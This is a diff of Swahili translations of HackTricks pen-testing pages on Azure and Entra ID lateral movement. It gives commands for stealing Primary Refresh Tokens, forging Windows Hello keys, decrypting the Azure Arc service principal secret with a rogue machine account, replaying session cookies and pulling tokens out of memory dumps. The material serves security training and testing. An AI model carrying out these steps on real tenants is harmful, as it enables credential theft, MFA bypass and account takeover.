Ikiwa utaangalia ukurasa ufuatao utaona kwamba **kuiba PRT** kunaweza kutumika kupata kama **mtumiaji**, ambayo ni nzuri kwa sababu **PRT iko kwenye vifaa**, hivyo inaweza kuibiwa kutoka kwao (au ikiwa haijaibiwa inaweza kutumika vibaya kuunda funguo mpya za kusaini):
@@ -47,38 +47,38 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
# Custom pyhton script to register a device (check roadtx)
registerdevice.py
```
Which will give you a **cheti ambacho unaweza kutumia kuomba PRTs katika siku zijazo**. Hivyo kudumisha kudumu na **kuzidi MFA** kwa sababu token ya PRT ya awali iliyotumika kujiandikisha kifaa kipya **ilikuwa tayari na ruhusa za MFA zilizotolewa**.
Ambayo itakupa **cheti ambacho unaweza kutumia kuomba PRTs katika siku zijazo**. Hivyo kudumisha uthibitisho na **kuzidi MFA** kwa sababu token ya PRT ya awali iliyotumika kujiandikisha kifaa kipya **ilikuwa tayari na ruhusa za MFA zilizotolewa**.
> [!TIP]
> Kumbuka kwamba ili kufanya shambulio hili utahitaji ruhusa za **kujiandikisha vifaa vipya**. Pia, kujiandikisha kifaa hakumaanishi kifaa kitakuwa **kimekubaliwa kujiunga na Intune**.
> Kumbuka kwamba ili kufanya shambulio hili utahitaji ruhusa za **kujiandikisha vifaa vipya**. Pia, kujiandikisha kifaa hakumaanishi kifaa kitakuwa **na ruhusa ya kujiunga na Intune**.
> [!CAUTION]
> Shambulio hili lilirekebishwa mnamo Septemba 2021 kwani huwezi tena kujiandikisha vifaa vipya kwa kutumia token za SSO. Hata hivyo, bado inawezekana kujiandikisha vifaa kwa njia halali (ikiwa na jina la mtumiaji, nenosiri na MFA ikiwa inahitajika). Angalia: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
## Kuandika upya tiketi ya kifaa
## Kubadilisha tiketi ya kifaa
Ilikuwa inawezekana **kuomba tiketi ya kifaa**, **kuandika upya** ile ya sasa ya kifaa, na wakati wa mchakato **kuiiba PRT** (hivyo hakuna haja ya kuiba kutoka kwa TPM. Kwa maelezo zaidi [**angalia mazungumzo haya**](https://youtu.be/BduCn8cLV1A).
Ilikuwa inawezekana **kuomba tiketi ya kifaa**, **kubadilisha** ile ya sasa ya kifaa, na wakati wa mchakato **kuiba PRT** (hivyo hakuna haja ya kuiba kutoka kwa TPM. Kwa maelezo zaidi [**angalia mazungumzo haya**](https://youtu.be/BduCn8cLV1A).
<figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
> [!CAUTION]
> Hata hivyo, hili lilirekebishwa.
## Andika upya funguo za WHFB
## Badilisha funguo za WHFB
[**Angalia slaidi za asili hapa**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
Muhtasari wa shambulio:
- Inawezekana **kuandika upya** funguo za **WHFB** zilizoregistriwa kutoka kwa **kifaa** kupitia SSO
- Inawezekana **kubadilisha** funguo ya **WHFB** iliyosajiliwa kutoka kwa **kifaa** kupitia SSO
- In **shinda ulinzi wa TPM** kwani funguo inachukuliwa **wakati wa uzalishaji** wa funguo mpya
- Hii pia inatoa **kudumu**
- Hii pia inatoa **uthibitisho**
<figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
Watumiaji wanaweza kubadilisha mali yao ya searchableDeviceKey kupitia Azure AD Graph, hata hivyo, mshambuliaji anahitaji kuwa na kifaa katika mpangilio (kilichoregistriwa kwa haraka au akiwa na cheti + funguo iliyopatikana kutoka kwa kifaa halali) na token ya ufikiaji halali kwa AAD Graph.
Watumiaji wanaweza kubadilisha mali yao ya searchableDeviceKey kupitia Azure AD Graph, hata hivyo, mshambuliaji anahitaji kuwa na kifaa katika mpangilio (kilichosajiliwa kwa haraka au akiwa na cheti + funguo iliyoporwa kutoka kifaa halali) na token ya ufikiaji halali kwa AAD Graph.
Kisha, inawezekana kuzalisha funguo mpya na:
Kisha, inawezekana kuzalisha funguo mpya kwa:
```bash
roadtx genhellokey -d <device id> -k tempkey.key
```
@@ -86,7 +86,7 @@ na kisha PATCH taarifa za searchableDeviceKey:
<figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>
Inawezekana kupata token ya ufikiaji kutoka kwa mtumiaji kupitia **device code phishing** na kutumia hatua zilizopita ili **kuiba ufikiaji wake**. Kwa maelezo zaidi angalia:
Inawezekana kupata tokeni ya ufikiaji kutoka kwa mtumiaji kupitia **device code phishing** na kutumia hatua zilizopita ili **kuiba ufikiaji wake**. Kwa maelezo zaidi angalia:
{{#ref}}
az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md

View File

@@ -28,9 +28,9 @@
## Install PowerShell in MacOS
Maelekezo kutoka [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
Maelekezo kutoka kwa [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
1. Funga `brew` ikiwa haijafungwa bado:
1. Install `brew` ikiwa haijafungwa bado:
```bash
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
```
@@ -47,11 +47,11 @@ pwsh
brew update
brew upgrade powershell
```
## Main Enumeration Tools
## Vifaa Vikuu vya Kuorodhesha
### az cli
[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) ni chombo cha kuvuka majukwaa kilichoandikwa kwa Python kwa ajili ya kusimamia na kuendesha (zaidi ya) rasilimali za Azure na Entra ID. Kinajihusisha na Azure na kutekeleza amri za usimamizi kupitia mstari wa amri au skripti.
[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) ni chombo cha jukwaa nyingi kilichoandikwa kwa Python kwa ajili ya kusimamia na kuendesha (zaidi ya) rasilimali za Azure na Entra ID. Kinajihusisha na Azure na kutekeleza amri za usimamizi kupitia mstari wa amri au skripti.
Fuata kiungo hiki kwa [**maelekezo ya usakinishaji¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
@@ -109,7 +109,7 @@ Ili kufanya **MitM** kwa zana na **kuangalia maombi yote** inayopeleka kwa mikon
### Microsoft Graph PowerShell
Microsoft Graph PowerShell ni SDK ya jukwaa nyingi inayowezesha ufikiaji wa APIs zote za Microsoft Graph, ikiwa ni pamoja na huduma kama SharePoint, Exchange, na Outlook, kwa kutumia kiunganishi kimoja. Inasaidia PowerShell 7+, uthibitishaji wa kisasa kupitia MSAL, vitambulisho vya nje, na maswali ya hali ya juu. Kwa kuzingatia ufikiaji wa chini kabisa, inahakikisha shughuli salama na inapokea masasisho ya mara kwa mara ili kuendana na vipengele vya hivi karibuni vya Microsoft Graph API.
Microsoft Graph PowerShell ni SDK ya kuvuka majukwaa inayowezesha ufikiaji wa APIs zote za Microsoft Graph, ikiwa ni pamoja na huduma kama SharePoint, Exchange, na Outlook, kwa kutumia kiunganishi kimoja. Inasaidia PowerShell 7+, uthibitishaji wa kisasa kupitia MSAL, identiti za nje, na maswali ya hali ya juu. Kwa kuzingatia ufikiaji wa chini wa ruhusa, inahakikisha shughuli salama na inapokea masasisho ya kawaida ili kuendana na vipengele vya hivi karibuni vya Microsoft Graph API.
Fuata kiungo hiki kwa [**maelekezo ya usakinishaji**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
@@ -128,4 +128,4 @@ Moduli ya Azure Active Directory (AD), sasa **imeondolewa**, ni sehemu ya Azure
> [!TIP]
> Hii imebadilishwa na Microsoft Graph PowerShell
Fuata kiungo hiki kwa [**maelekezo ya usakinishaji**](https://www.powershellgallery.com/packages/AzureAD).
Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).

View File

@@ -8,19 +8,19 @@
Kuna njia tofauti ambazo mashine zinaweza kuunganishwa na wingu:
#### Azure AD iliyojiunga
#### Azure AD joined
<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
#### Iliyojiunga na Mahali
#### Workplace joined
<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large</a></p></figcaption></figure>
#### Iliyojiunga kwa Mchanganyiko
#### Hybrid joined
<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large</a></p></figcaption></figure>
#### Iliyojiunga na Mahali kwenye AADJ au Mchanganyiko
#### Workplace joined on AADJ or Hybrid
<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large</a></p></figcaption></figure>
@@ -28,12 +28,12 @@ Kuna njia tofauti ambazo mashine zinaweza kuunganishwa na wingu:
Katika Azure AD, kuna aina tofauti za tokens zenye mipaka maalum:
- **Access tokens**: Zinatumika kupata APIs na rasilimali kama Microsoft Graph. Zimefungwa kwa mteja na rasilimali maalum.
- **Access tokens**: Zinatumika kupata APIs na rasilimali kama Microsoft Graph. Zimefungwa kwa mteja maalum na rasilimali.
- **Refresh tokens**: Zinatolewa kwa programu ili kupata access tokens mpya. Zinapaswa kutumiwa tu na programu ambazo zilitolewa au kundi la programu.
- **Primary Refresh Tokens (PRT)**: Zinatumika kwa Usajili wa Moja kwa Moja kwenye vifaa vilivyojiunga na Azure AD, vilivyosajiliwa, au vilivyojiunga kwa mchanganyiko. Zinatumika katika michakato ya kuingia kwenye kivinjari na kwa kuingia kwenye programu za simu na desktop kwenye kifaa.
- **Windows Hello for Business keys (WHFB)**: Zinatumika kwa uthibitisho bila nenosiri. Zinatumika kupata Primary Refresh Tokens.
- **Primary Refresh Tokens (PRT)**: Zinatumika kwa Usajili wa Moja kwa Moja kwenye vifaa vilivyojiunga na Azure AD, vilivyosajiliwa, au vilivyojiunga kwa njia ya mchanganyiko. Zinatumika katika michakato ya kuingia kwenye kivinjari na kwa kuingia kwenye programu za simu na kompyuta kwenye kifaa.
- **Windows Hello for Business keys (WHFB)**: Zinatumika kwa uthibitisho bila nywila. Zinatumika kupata Primary Refresh Tokens.
Aina ya token inayovutia zaidi ni Primary Refresh Token (PRT).
Aina ya kipekee ya token ni Primary Refresh Token (PRT).
{{#ref}}
az-primary-refresh-token-prt.md
@@ -41,10 +41,10 @@ az-primary-refresh-token-prt.md
### Mbinu za Pivoting
Kutoka kwenye **mashine iliyoathiriwa hadi wingu**:
Kutoka kwenye **mashine iliyovunjwa hadi wingu**:
- [**Pass the Cookie**](az-pass-the-cookie.md): Nyakua cookies za Azure kutoka kwenye kivinjari na uzitumie kuingia
- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump kumbukumbu za michakato ya ndani iliyo sambamba na wingu (kama excel, Teams...) na pata access tokens kwa maandiko wazi.
- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump kumbukumbu za michakato ya ndani iliyosawazishwa na wingu (kama excel, Teams...) na pata access tokens kwa maandiko wazi.
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish PRT ili kuikandamiza
- [**Pass the PRT**](pass-the-prt.md): Nyakua PRT ya kifaa ili kupata Azure kwa kujifanya kuwa hicho kifaa.
- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Tengeneza cheti kulingana na PRT ili kuingia kutoka mashine moja hadi nyingine
@@ -58,7 +58,7 @@ Kutoka kwenye kuathiri **AD** hadi kuathiri **Wingu** na kutoka kwenye kuathiri
Zana hii inaruhusu kufanya vitendo kadhaa kama kujiandikisha mashine katika Azure AD ili kupata PRT, na kutumia PRTs (halali au zilizonyakuliwa) kupata rasilimali kwa njia tofauti. Hizi si mashambulizi ya moja kwa moja, lakini inarahisisha matumizi ya PRTs kupata rasilimali kwa njia tofauti. Pata maelezo zaidi katika [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
## Marejeo
## Marejeleo
- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)

View File

@@ -4,16 +4,16 @@
### Kutambua Masuala
Azure Arc inaruhusu kuunganishwa kwa seva mpya za ndani (seva zilizounganishwa kwenye kikoa) ndani ya Azure Arc kwa kutumia mbinu ya Group Policy Object. Ili kuwezesha hili, Microsoft inatoa zana ya kutekeleza inayohitajika kwa ajili ya kuanzisha mchakato wa kuingiza. Ndani ya faili ya ArcEnableServerGroupPolicy.zip, skripti zifuatazo zinaweza kupatikana: DeployGPO.ps1, EnableAzureArc.ps1, na AzureArcDeployment.psm1.
Azure Arc inaruhusu kuunganishwa kwa seva mpya za ndani (seva zilizounganishwa kwenye eneo) ndani ya Azure Arc kwa kutumia njia ya Group Policy Object. Ili kuwezesha hili, Microsoft inatoa zana za usambazaji zinazohitajika kwa ajili ya kuanzisha mchakato wa kuingiza. Ndani ya faili ya ArcEnableServerGroupPolicy.zip, skripti zifuatazo zinaweza kupatikana: DeployGPO.ps1, EnableAzureArc.ps1, na AzureArcDeployment.psm1.
Wakati inatekelezwa, skripti ya DeployGPO.ps1 inafanya hatua zifuatazo:
1. Inaunda Azure Arc Servers Onboarding GPO ndani ya kikoa cha ndani.
2. Inakopya skripti ya kuingiza ya EnableAzureArc.ps1 kwenye sehemu ya mtandao iliyotengwa kwa ajili ya mchakato wa kuingiza, ambayo pia ina pakiti ya kusakinisha ya Windows.
1. Inaunda Azure Arc Servers Onboarding GPO ndani ya eneo la ndani.
2. Inakopya skripti ya kuingiza ya EnableAzureArc.ps1 kwenye sehemu ya mtandao iliyotengwa kwa ajili ya mchakato wa kuingiza, ambayo pia ina kifurushi cha installer cha Windows.
Wakati wa kuendesha skripti hii, wasimamizi wa mfumo wanahitaji kutoa vigezo viwili vikuu: **ServicePrincipalId** na **ServicePrincipalClientSecret**. Aidha, inahitaji vigezo vingine kama vile kikoa, FQDN ya seva inayohifadhi sehemu hiyo, na jina la sehemu hiyo. Maelezo zaidi kama vile kitambulisho cha mpangaji, kundi la rasilimali, na taarifa nyingine muhimu lazima pia zipewe skripti.
Wakati wa kuendesha skripti hii, wasimamizi wa mfumo wanahitaji kutoa vigezo viwili vikuu: **ServicePrincipalId** na **ServicePrincipalClientSecret**. Aidha, inahitaji vigezo vingine kama vile eneo, FQDN ya seva inayohifadhi sehemu, na jina la sehemu. Maelezo zaidi kama vile kitambulisho cha mpangaji, kundi la rasilimali, na taarifa nyingine muhimu lazima pia zipewe skripti.
Siri iliyosimbwa inaundwa katika saraka ya AzureArcDeploy kwenye sehemu iliyotajwa kwa kutumia usimbaji wa DPAPI-NG. Siri iliyosimbwa inahifadhiwa katika faili inayoitwa encryptedServicePrincipalSecret. Ushahidi wa hili unaweza kupatikana katika skripti ya DeployGPO.ps1, ambapo usimbaji unafanywa kwa kuita ProtectBase64 na $descriptor na $ServicePrincipalSecret kama ingizo. Maelezo ya descriptor yanajumuisha SID za Kundi la Kompyuta za Kikoa na Kundi la Wakala wa Kikoa, kuhakikisha kwamba ServicePrincipalSecret inaweza kusimbwa tu na Vikundi vya Usalama vya Wakala wa Kikoa na Kompyuta za Kikoa, kama ilivyotajwa katika maoni ya skripti.
Siri iliyosimbwa inaundwa katika saraka ya AzureArcDeploy kwenye sehemu iliyotajwa kwa kutumia usimbaji wa DPAPI-NG. Siri iliyosimbwa inahifadhiwa katika faili inayoitwa encryptedServicePrincipalSecret. Ushahidi wa hili unaweza kupatikana katika skripti ya DeployGPO.ps1, ambapo usimbaji unafanywa kwa kuita ProtectBase64 na $descriptor na $ServicePrincipalSecret kama ingizo. Maelezo ya descriptor yanajumuisha SID za Kundi la Kompyuta za Eneo na Kundi la Watawala wa Eneo, kuhakikisha kwamba ServicePrincipalSecret inaweza kusimbwa tu na Watawala wa Eneo na vikundi vya usalama vya Kompyuta za Eneo, kama ilivyotajwa katika maoni ya skripti.
```powershell
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
@@ -26,16 +26,16 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
Tuna masharti yafuatayo:
1. Tumefanikiwa kuingia kwenye mtandao wa ndani.
1. Tumepenya kwa mafanikio kwenye mtandao wa ndani.
2. Tuna uwezo wa kuunda au kudhibiti akaunti ya kompyuta ndani ya Active Directory.
3. Tumegundua sehemu ya mtandao inayoshikilia saraka ya AzureArcDeploy.
Kuna njia kadhaa za kupata akaunti ya mashine ndani ya mazingira ya AD. Moja ya njia maarufu ni kutumia quota ya akaunti ya mashine. Njia nyingine inahusisha kuathiri akaunti ya mashine kupitia ACLs dhaifu au mipangilio mingine mbalimbali isiyo sahihi.
Kuna mbinu kadhaa za kupata akaunti ya mashine ndani ya mazingira ya AD. Moja ya mbinu maarufu ni kutumia quota ya akaunti ya mashine. Njia nyingine inahusisha kuathiri akaunti ya mashine kupitia ACLs zenye udhaifu au mipangilio mingine mbalimbali isiyo sahihi.
```powershell
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
Mara tu akaunti ya mashine imepatikana, inawezekana kuthibitisha kwa kutumia akaunti hii. Tunaweza ama kutumia amri ya runas.exe na bendera ya netonly au kutumia pass-the-ticket na Rubeus.exe.
Mara tu akaunti ya mashine inapopatikana, inawezekana kuthibitisha kwa kutumia akaunti hii. Tunaweza ama kutumia amri ya runas.exe na bendera ya netonly au kutumia pass-the-ticket na Rubeus.exe.
```powershell
runas /user:fake01$ /netonly powershell
```
@@ -52,11 +52,11 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs
```
Alternately, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
Mbali na hayo, tunaweza kutumia [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
Katika hatua hii, tunaweza kukusanya taarifa zilizobaki zinazohitajika kuungana na Azure kutoka kwa faili la ArcInfo.json, ambalo limehifadhiwa kwenye sehemu ile ile ya mtandao kama faili la encryptedServicePrincipalSecret. Faili hii ina maelezo kama: TenantId, servicePrincipalClientId, ResourceGroup, na mengineyo. Pamoja na taarifa hizi, tunaweza kutumia Azure CLI kuthibitisha kama huduma ya msingi iliyovunjika.
Katika hatua hii, tunaweza kukusanya taarifa zilizobaki zinazohitajika kuungana na Azure kutoka kwa faili ya ArcInfo.json, ambayo imehifadhiwa kwenye sehemu ile ile ya mtandao kama faili ya encryptedServicePrincipalSecret. Faili hii ina maelezo kama: TenantId, servicePrincipalClientId, ResourceGroup, na mengineyo. Kwa kutumia taarifa hizi, tunaweza kutumia Azure CLI kuthibitisha kama service principal iliyovunjwa.
## References
## Marejeleo
- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)

View File

@@ -6,23 +6,23 @@
### Azure CLI (Interface ya Amri)
Token na data nyeti huhifadhiwa kwa ndani na Azure CLI, na kuleta wasiwasi wa usalama:
Tokens na data nyeti huhifadhiwa kwa ndani na Azure CLI, na kuleta wasiwasi wa usalama:
1. **Access Tokens**: Huhifadhiwa katika maandiko wazi ndani ya `accessTokens.json` iliyoko `C:\Users\<username>\.Azure`.
2. **Taarifa za Usajili**: `azureProfile.json`, katika saraka hiyo hiyo, ina maelezo ya usajili.
3. **Faili za Kumbukumbu**: Folda ya `ErrorRecords` ndani ya `.azure` inaweza kuwa na kumbukumbu zenye akreditivu zilizofichuliwa, kama vile:
- Amri zilizotekelezwa zikiwa na akreditivu zilizojumuishwa.
- URLs zilizofikiwa kwa kutumia token, ambazo zinaweza kufichua taarifa nyeti.
3. **Faili za Kumbukumbu**: Folda ya `ErrorRecords` ndani ya `.azure` inaweza kuwa na kumbukumbu zenye akidi zilizofichuliwa, kama:
- Amri zilizotekelezwa zikiwa na akidi zilizojumuishwa.
- URLs zilizofikiwa kwa kutumia tokens, ambazo zinaweza kufichua taarifa nyeti.
### Azure PowerShell
Azure PowerShell pia huhifadhi token na data nyeti, ambazo zinaweza kufikiwa kwa ndani:
Azure PowerShell pia huhifadhi tokens na data nyeti, ambazo zinaweza kufikiwa kwa ndani:
1. **Access Tokens**: `TokenCache.dat`, iliyoko `C:\Users\<username>\.Azure`, huhifadhi token za ufikiaji katika maandiko wazi.
2. **Siri za Huduma Kuu**: Hizi huhifadhiwa bila usimbaji katika `AzureRmContext.json`.
3. **Kipengele cha Kuhifadhi Token**: Watumiaji wana uwezo wa kudumisha token kwa kutumia amri ya `Save-AzContext`, ambayo inapaswa kutumika kwa tahadhari ili kuzuia ufikiaji usioidhinishwa.
1. **Access Tokens**: `TokenCache.dat`, iliyoko `C:\Users\<username>\.Azure`, huhifadhi access tokens katika maandiko wazi.
2. **Siri za Huduma ya Kimsingi**: Hizi huhifadhiwa bila usimbaji katika `AzureRmContext.json`.
3. **Kipengele cha Kuhifadhi Token**: Watumiaji wana uwezo wa kudumisha tokens kwa kutumia amri ya `Save-AzContext`, ambayo inapaswa kutumika kwa tahadhari ili kuzuia ufikiaji usioidhinishwa.
## Zana za Otomatiki za Kuziokoa
## Zana za Otomatiki za kuzipata
- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)

View File

@@ -9,26 +9,26 @@ Katika mashine zilizounganishwa na Azure, inawezekana kuthibitisha kutoka mashin
Kwa maneno rahisi sana:
- Mashine (mteja) inayozindua muunganisho **inahitaji cheti kutoka Azure AD kwa mtumiaji**.
- Mteja anaunda kichwa cha JSON Web Token (JWT) kinachojumuisha PRT na maelezo mengine, kinatia saini kwa kutumia Funguo iliyotokana (kwa kutumia funguo ya kikao na muktadha wa usalama) na **kinituma kwa Azure AD**
- Azure AD inathibitisha saini ya JWT kwa kutumia funguo ya kikao cha mteja na muktadha wa usalama, inakagua uhalali wa PRT na **inajibu** kwa **cheti**.
- Mteja anaunda kichwa cha JSON Web Token (JWT) kinachojumuisha PRT na maelezo mengine, kinatia saini kwa kutumia Funguo Iliyotokana (kwa kutumia funguo za kikao na muktadha wa usalama) na **kinituma kwa Azure AD**
- Azure AD inathibitisha saini ya JWT kwa kutumia funguo za kikao za mteja na muktadha wa usalama, inakagua uhalali wa PRT na **inajibu** kwa **cheti**.
Katika hali hii na baada ya kupata taarifa zote zinazohitajika kwa [**Pass the PRT**](pass-the-prt.md) shambulio:
- Jina la mtumiaji
- Kitambulisho cha mpangilio
- Kitambulisho cha Mpangilio
- PRT
- Muktadha wa usalama
- Funguo iliyotokana
- Muktadha wa Usalama
- Funguo Iliyotokana
Inawezekana **kuomba cheti cha P2P** kwa mtumiaji kwa kutumia chombo [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
Inawezekana **kuomba cheti cha P2P** kwa mtumiaji kwa kutumia zana [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
```bash
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
```
Vithibitisho vitadumu sawa na PRT. Kutumia vithibitisho unaweza kutumia chombo cha python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) ambacho kitafanya **uthibitishaji** kwenye mashine ya mbali, kukimbia **PSEXEC** na **kufungua CMD** kwenye mashine ya mwathirika. Hii itaturuhusu kutumia Mimikatz tena kupata PRT ya mtumiaji mwingine.
Vyeti vitadumu kwa muda sawa na PRT. Kutumia cheti unaweza kutumia zana ya python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) ambayo itafanya **uthibitishaji** kwenye mashine ya mbali, ikakimbia **PSEXEC** na **kufungua CMD** kwenye mashine ya mwathirika. Hii itaturuhusu kutumia Mimikatz tena kupata PRT ya mtumiaji mwingine.
```bash
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
```
## References
## Marejeleo
- Kwa maelezo zaidi kuhusu jinsi Pass the Certificate inavyofanya kazi angalia chapisho asilia [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)

View File

@@ -4,7 +4,7 @@
## Kwa Nini Cookies?
Browser **cookies** ni mekanizma nzuri ya **kupita uthibitishaji na MFA**. Kwa sababu mtumiaji tayari amejiandikisha katika programu, **cookie** ya kikao inaweza kutumika tu **kupata data** kama mtumiaji huyo, bila kuhitaji kujiandikisha tena.
Browser **cookies** ni mekanizma nzuri ya **kupita uthibitisho na MFA**. Kwa sababu mtumiaji tayari amejiandikisha katika programu, **cookie** ya kikao inaweza kutumika tu **kupata data** kama mtumiaji huyo, bila kuhitaji kujiandikisha tena.
Unaweza kuona ambapo **cookies za kivinjari ziko** katika:
@@ -14,7 +14,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
## Shambulio
Sehemu ngumu ni kwamba **cookies hizo zimefungwa** kwa **mtumiaji** kupitia Microsoft Data Protection API (**DPAPI**). Hii imefungwa kwa kutumia [funguo za kificho zinazohusishwa na mtumiaji](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) ambao cookies zinahusiana nazo. Unaweza kupata maelezo zaidi kuhusu hii katika:
Sehemu ngumu ni kwamba **cookies hizo zimefungwa** kwa **mtumiaji** kupitia Microsoft Data Protection API (**DPAPI**). Hii imefungwa kwa kutumia [funguo za cryptographic zinazohusishwa na mtumiaji](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) ambao cookies zinahusiana nazo. Unaweza kupata maelezo zaidi kuhusu hii katika:
{{#ref}}
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
@@ -28,7 +28,7 @@ Kwa Azure, tunajali kuhusu kuki za uthibitishaji ikiwemo **`ESTSAUTH`**, **`ESTS
Tu naviga kwenye login.microsoftonline.com na ongeza kuki **`ESTSAUTHPERSISTENT`** (iliyoundwa na chaguo la “Stay Signed In”) au **`ESTSAUTH`**. Na utathibitishwa.
## Marejeleo
## References
- [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/)

View File

@@ -2,6 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
**Angalia chapisho katika** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) ingawa chapisho lingine linalofafanua sawa linaweza kupatikana katika [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
**Angalia posti katika** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) ingawa posti nyingine inayofafanua sawa inaweza kupatikana katika [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,13 +4,13 @@
## **Basic Information**
Kama ilivyoelezwa katika [**hii video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), baadhi ya programu za Microsoft zinazohusishwa na wingu (Excel, Teams...) zinaweza **kuhifadhi alama za ufikiaji katika maandiko wazi kwenye kumbukumbu**. Hivyo basi, **kudondosha** **kumbukumbu** ya mchakato na **kuangalia kwa alama za JWT** kunaweza kukupa ufikiaji wa rasilimali kadhaa za mwathirika katika wingu bila kupita MFA.
Kama ilivyoelezwa katika [**hii video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), baadhi ya programu za Microsoft zinazohusishwa na wingu (Excel, Teams...) zinaweza **kuhifadhi alama za ufikiaji katika maandiko wazi kwenye kumbukumbu**. Hivyo basi, **kudondosha** **kumbukumbu** ya mchakato na **kuangalia kwa JWT tokens** kunaweza kukupa ufikiaji wa rasilimali kadhaa za mwathirika katika wingu bila kupita MFA.
Hatua:
1. Dondosha mchakato wa excel uliohusishwa na mtumiaji wa EntraID kwa kutumia chombo chako unachokipenda.
2. Endesha: `string excel.dmp | grep 'eyJ0'` na pata alama kadhaa katika matokeo
3. Pata alama ambazo zinakuvutia zaidi na endesha zana juu yao:
3. Pata alama zinazokuvutia zaidi na endesha zana juu yao:
```bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
@@ -30,6 +30,6 @@ curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sit
┌──(magichk㉿black-pearl)-[~]
